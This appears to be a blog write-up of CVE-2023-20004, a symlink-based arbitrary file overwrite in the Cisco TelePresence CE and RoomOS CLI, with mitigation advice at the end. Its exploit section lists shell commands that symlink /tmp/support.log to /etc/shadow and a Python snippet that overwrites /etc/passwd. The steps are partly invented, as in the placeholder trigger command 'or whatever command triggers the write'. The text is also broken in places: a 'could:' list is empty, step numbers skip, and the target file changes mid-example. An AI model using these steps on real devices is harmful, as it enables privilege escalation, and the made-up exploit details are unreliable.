In early 2023, Cisco disclosed a set of vulnerabilities affecting the CLI (Command-Line Interface) of Cisco TelePresence CE and RoomOS. Tracked as CVE-2023-20004, these flaws allow authenticated, local attackers to overwrite arbitrary files on the device’s file system. Due to improper access control, attackers with a remote support account could escalate privileges and compromise device integrity using simple techniques like symbolic linking.

Let's unpack how these vulnerabilities work, review real-world exploit details, and see how you can defend your conferencing equipment.

Vulnerability Overview

CVE-2023-20004, along with related issues, affects the CLI in specific Cisco collaboration devices, notably TelePresence CE and RoomOS platforms. The vulnerabilities stem from insufficient access controls on certain files, enabling local attackers to abuse Node.js-based file operations.

Attack Surface: Local CLI with authenticated, remote support user account

- Vulnerable Action: Insecure file handling methods don’t properly verify user access or symbolic links

Attack Prerequisites: Attacker must already have a remote support user account on the device

Note: CVE-2023-20092, related to this bug, does *not* affect Cisco DX70, DX80, TelePresence MX, or SX series.

How Do These Vulnerabilities Work?

The vulnerabilities are simple: the CLI allows file operations without properly validating the destination path or checking if a file is a *symbolic link* (symlink). By creating a symlink in a certain directory (e.g., where temp files are stored), an attacker can trick a file write operation to overwrite a sensitive file elsewhere on the system.

Example Scenario

Suppose the device lets a support user run a command that writes config data to /tmp/support.log.
But /tmp/support.log is really a symlink that points to /etc/passwd.

When the CLI writes to /tmp/support.log, it unknowingly overwrites /etc/passwd, letting an attacker disrupt authentication or inject a new root user.

Step-by-Step Exploit Example

Let’s see how an attacker could leverage CVE-2023-20004. (These steps require local CLI access as a remote support user.)

1. Log in to CLI as a Support User

ssh support@<device_ip>

Identify a directory where the user can create files. /tmp is often world-writable

cd /tmp

Suppose the CLI will write to /tmp/support.log after a certain support operation

ln -s /etc/shadow /tmp/support.log

Invoke the CLI feature that (improperly) writes debug output to /tmp/support.log

support dump-logs
# or whatever command triggers the write

5. Effect

The contents the CLI wanted to write to /tmp/support.log will now overwrite /etc/shadow, which could:

Sample code snippet simulating the flaw

import os

# Simulate attacker creating a symlink:
os.symlink('/etc/passwd', '/tmp/support.log')

# Vulnerable code (lacking checks) overwrites symlink target:
with open('/tmp/support.log', 'w') as f:
    f.write('malicious data\n')
# Now, /etc/passwd is overwritten!

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Mitigation & Fixes

Cisco has released software updates that patch these vulnerabilities.
There are no workarounds—you must install the latest software to be safe.

Official Cisco Advisory

- Original Cisco Security Advisory
- National Vulnerability Database: CVE-2023-20004

Devices with active remote support user accounts

Not Affected: Cisco DX70, DX80, TelePresence MX, or TelePresence SX devices for CVE-2023-20092

Conclusion

While CVE-2023-20004 requires local access, it offers a trivial privilege escalation path—dangerous in environments where remote support accounts exist.
Patch now, review your device user accounts, and stay vigilant for signs of exploitation.

References

- Cisco Official Advisory
- NVD Entry for CVE-2023-20004
- Cisco Collaboration Endpoints Software Security Guide

Timeline

Published on: 11/15/2024 15:23:29 UTC